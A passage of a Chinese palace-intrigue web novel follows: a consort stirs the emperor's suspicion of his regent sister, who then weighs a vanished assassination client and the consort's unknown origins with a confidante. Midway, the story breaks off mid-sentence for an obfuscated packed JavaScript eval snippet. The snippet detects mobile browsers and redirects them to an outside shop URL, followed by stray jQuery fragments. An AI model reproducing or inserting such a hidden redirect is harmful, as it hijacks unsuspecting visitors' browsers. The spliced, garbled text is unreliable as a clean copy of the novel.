沁芳宫的烛台燃着南海进贡的龙涎香，烟缕缠上描金帐幔，在明黄锦被上投下细碎的影。萧然的龙袍被随意扔在脚踏上，玉带坠子蹭着砖地，发出轻响。苏朝歌蜷在他怀里，葱绿宫装的领口松了两颗珍珠扣，露出半截莹白的颈，指尖正缠着他的袖摆打转。


    “陛下，”她忽然抬头，鬓边点翠簪子蹭过萧然下巴，声音软得像浸了蜜，“听闻长公主回来了？”


    萧然正把玩着她发间的珠花，闻言“嗯”了一声，指尖顿了顿。他今日本是要去竹清宫的，可被苏朝歌缠着说了半宿体己话，竟把这茬忘得一干二净。


    “臣妾还没见过长公主呢，”苏朝歌往他怀里钻了钻，鼻尖蹭着他的衣襟，“想来定是位风姿卓绝的人物，不然怎能让陛下这般挂心。”


    萧然低笑，捏了捏她的脸：“你这小嘴，倒会说话。阿姐她……性子烈了些，却不是寻常女子。”


    “烈些才好呢，”苏朝歌眼尾挑着笑意，指尖却轻轻掐了掐他的腰侧，“不然怎镇得住那些老狐狸。只是……”她话锋一转，声音低了半截，带着点恰到好处的迟疑，“臣妾愚钝，总觉得‘国主’与‘国君’并存，倒是桩新鲜事。”


    帐外的漏刻滴答响，萧然的手指停在她发间。这两个称谓，像根细刺，埋在他心头好些年了。


    “当年若不是阿姐，朕也坐不稳这龙椅。”他低声道，语气里带着点说不清的复杂。那年父亲骤逝，藩王觊觎皇位，是萧念攥着他的手腕，把他摁在龙椅上，玉鞭抽在金砖上的脆响，至今还在耳边。


    “陛下说的是，”苏朝歌立刻点头，眼波流转间却添了几分忧色，“长公主劳苦功高，萧国上下都该感念。只是……她毕竟是出嫁的女子了呀。”


    她抬起头，烛光映在她眼里，竟像是含着泪：“如今长公主已是帝国皇后，手心手背都是肉，臣妾就怕……就怕她哪天顾此失彼，忘了萧国。”


    萧然的喉结滚了滚，没接话。


    苏朝歌见状，又往他怀里靠了靠，声音压得更低，像条小蛇钻进他耳朵：“陛下您想啊，这天下终究是姓萧的。可满朝文武，谁不是看长公主的眼色行事？户部的账本，兵部的兵符，甚至连各州的赋税，哪样不是先送到念府过目？”


    她忽然坐起身，葱绿裙摆扫过他的膝头，露出一截雪白的小腿。“臣妾前日去给皇后请安，听见几个小太监嚼舌根，说……说外头都传，萧国的天，是长公主撑着的。”


    帐内的香气似乎浓稠了几分，压得人有些喘不过气。萧然想起登基那天，萧念亲手将玉玺塞进他手里，指尖的温度烫得他心慌。当时她说：“陛下年幼，本宫暂替他管着这天下。”可这一管，就是十几年。


    这些年，他渐渐习惯了。习惯了将奏折交给萧念，习惯了朝堂上争论不休时，只要有人提一句“长公主定不会同意”，便能瞬间安静。可苏朝歌这句话，像根针，猝不及防刺破了那层名为“习惯”的薄纸。


    他当然是不甘心的，不然也不会暗地……


    “阿姐……她只是帮朕分忧。”萧然的声音有些干涩，连他自己都觉得这话没底气。


    苏朝歌却像是没听出他的窘迫，指尖仍在他心口画着圈，声音愈发轻柔：“分忧自然是好的。可陛下您想啊，您是萧国的国君，长公主是国主，这‘国君’与‘国主’，听着就像是……”她顿了顿，抬眸时，杏眼里盛着恰到好处的困惑，“像是两座山，挤在同一片天地里呢。”


    “一山不容二虎”——她没说出口的话，像冰锥似的扎进萧然心里。


    秦相算是萧念的老师，秦鹤苒又是萧念的好友，秦家满门都是“念党”；手握兵权的阮将军，是和萧念穿一条开裆裤长大的；就连御林军统领，都是萧念当年从死人堆里救出来的亲兵。哪怕是那几个弟弟，眼里也全是“长姐”。满朝文武，放眼望去，竟找不出几个真正“听他号令”的人。


    “陛下？”苏朝歌轻轻晃了晃他的胳膊，“您怎么了？”


    萧然深吸一口气，掀开被子坐起身。月光从窗缝漏进来，照在他脸上，映出几分茫然。“阿姐她……不会有二心的。”他像是在说服苏朝歌，更像是在说服自己。


    苏朝歌也跟着坐起来，亲手给他披上外袍，指尖划过他冰凉的手腕：“臣妾自然信长公主对陛下的心意。可人心是会变的呀。”她垂眸，“何况，长公主如今是帝国的皇后。您说，她心里装着的，到底是萧国的百姓，还是帝国的江山？”


    这句话，像重锤砸在萧然心上。


    “您是天子，本该一言九鼎，可现在……”欲言又止，“连太后娘娘…”


    “住口！”萧然猛地打断她，声音陡然拔高。这件事情是宫里严禁的事，当年萧念在竹清宫与林茵争吵，转天林茵就“暴病而亡”，宫里的流言像野草，或者说所有人都知道是谁，但是没人敢说啊。想起她处理掉武氏和那个刚出生的孩子时的狠绝——连亲生母亲和侄女都能下手，这心，到底是有多狠啊？


    苏朝歌被他吼得一哆嗦，瞬间红了眼眶，跪坐在榻边：“臣妾该死…陛下息怒。”她低下头。“今日这件事不许再提。”他低声道，声音里听不出情绪。


    “是…”


    萧然叹了口气，披上外袍走了出去。却没注意到苏朝歌眼底闪过一丝得意。


    竹清宫，纪璟雯顶着一头乱糟糟的碎发，淡绿色裙裾上还沾着点草屑，显然是刚被人从被窝里直接薅过来的。她揉着酸涩的眼睛，打了个绵长的哈欠，声音带着刚睡醒的黏糊：“卫凛那家伙是不是跟我有仇？我刚把脑袋挨着床板，他就跟捉贼似的踹门，说你有十万火急的事——合着你这‘急事’就是把我从被窝里拎过来发呆？”


    萧念正用银签挑着灯芯，闻言抬眸：“再睡就天亮了。”她指尖敲了敲案上的茶盏，“当年那笔买卖，雇主那边有动静吗？”


    纪璟雯往软榻上一瘫，淡绿色袖子滑到肘弯，露出细白的手腕，上面还沾着点墨迹——想来是睡前还在对账。“别提了，”撇嘴，抓起案上的蜜饯塞嘴里，“邪门得很。就那次传了消息，说要杀云序郗，之后就跟人间蒸发了似的。我让人在黑市翻了三遍，连当年经手的暗线都扒出来审了，那雇主就像压根没存在过，连个影子都没留下。”


    她啧了声，嚼着蜜饯含糊道：“按理说，买凶杀人要么追着要结果，要么付尾款时刁难几句，哪有像他这样，钱付了一半，消息断得干干净净？我怀疑是不是自己记错了，压根没这单生意。”


    萧念没接话，指尖在案上画着圈：“风吟国灭国时漏网的，除了云序郗，应该还有残余势力。这雇主突然消失，要么是被灭口了，要么是……在等时机。”


    “等时机？”纪璟雯坐直了些，淡绿色


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968855|193417||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    裙摆在榻上堆出褶皱，“等云序郗自己出来？还是等我们替他把人杀了，他好坐收渔利？”她往萧念身边凑了凑，“说起来，这单生意没做成，我还亏了定金呢。早知道那雇主是这德性，当初就该先收全款。”


    萧念瞥她一眼：“你那点钱够买几匹布？”


    “几匹布也是钱！真是不当家不知柴米贵。”


    “哦对，无声的底！查是查了，可除了‘被林老太爷从外面捡回来的’，再没别的了。那时候他才丁点大，跟在林忆身边当影子，连话都不爱说。”


    萧念听着，忽然开口：“在南宫见着他了，长身玉立的，气场倒不像个侍卫。”


    “我也觉得，江湖上能有这气派的，要么是世家贵子，要么是……”她突然噤声，眼神飘向窗外，“要么是亡国余孽。”


    殿内静了瞬，只余烛花爆响。萧念垂眸冷笑：“风吟国灭了几十年，余孽早该被肃清。可云序郗还活着，无声又来历不明，秦鹤苒偏和他们搅在一起……”她猛地抬眼，“你说，江慕淳和阮惗，是不是也在瞒我？”


    纪璟雯挠了挠脸：“她们……大概是怕你操心吧，毕竟你也够忙的。”


    萧念沉默了一会，不再说这个话题，“查云序郗的踪迹，还有无声和秦鹤苒的来往。聊落羡的暗桩撒出去，别心疼银子。”


    “知道了知道了，对了啊，风吟国皇室姓云，那无声他姓……哎他姓什么来着？”


    “没听人喊过名字，只叫‘无声’。”萧念想到什么似的抬头“你说，外祖父是不是早就知道什么？”


    “谁知道呢？老人家心思深。这风吟案一点线索也没有，烦啊”


    萧念端起茶盏，水汽氤氲了她的眉眼“说起线索，有一个人倒是很可疑”，纪璟雯来了兴致“展开说说”


    “还记得苏朝歌吗？”


    纪璟雯抹了抹嘴角：“苏朝歌？你不提我差点忘了”


    萧念放下茶盏；“她入宫两年，连升三级，萧然眼里就没别人了。可翻遍宗人府名册，苏氏一族查无此人，就像凭空冒出来的。”


    “凭空冒出来？”纪璟雯坐直了，“宫里招人这么随便？聊落羡还得看对方有没有案底呢。”


    “皇家规矩，选秀女得查三代。家世、籍贯、父母姓名，她能绕过这些，要么是有人故意放水，要么……”萧念顿了顿，烛火在她眼底投下暗纹，“要么她的身份，根本经不起查。”


    纪璟雯将蜜饯核“啪”地弹进铜盂：“挺吓人的，江湖上有句话，‘查无来历者，非奸即盗’。她要么是哪个隐世家族的棋子，要么……”突然压低声音，指尖在案上画了个圈，“要么是别国细作？就像当年北狄埋的暗桩，表面是百姓，实则藏着刀呢！”


    萧念望着摇曳的烛火，唇角勾起冷嘲：“她倒是会挑时候，偏在我嫁去帝国后入宫。这些年借着皇帝的宠，把手伸进漕运、盐铁，连秋闱考官都敢插手——若真是细作，背后的主子，怕是野心比天还大。”


    “要不我派人去她‘老家’查查？哦不对，她连籍贯都没写，指不定是个假名…会不会跟无声是一伙的？一个宫里搅和，一个宫外盯着，双管齐下祸祸萧国？”


    话音未落，外头忽有风声掠过，纪璟雯瞬间警醒，反手摸向腰间短刀——却见凡泽掀帘而入：“主子，帝国来信了”


    “放那吧”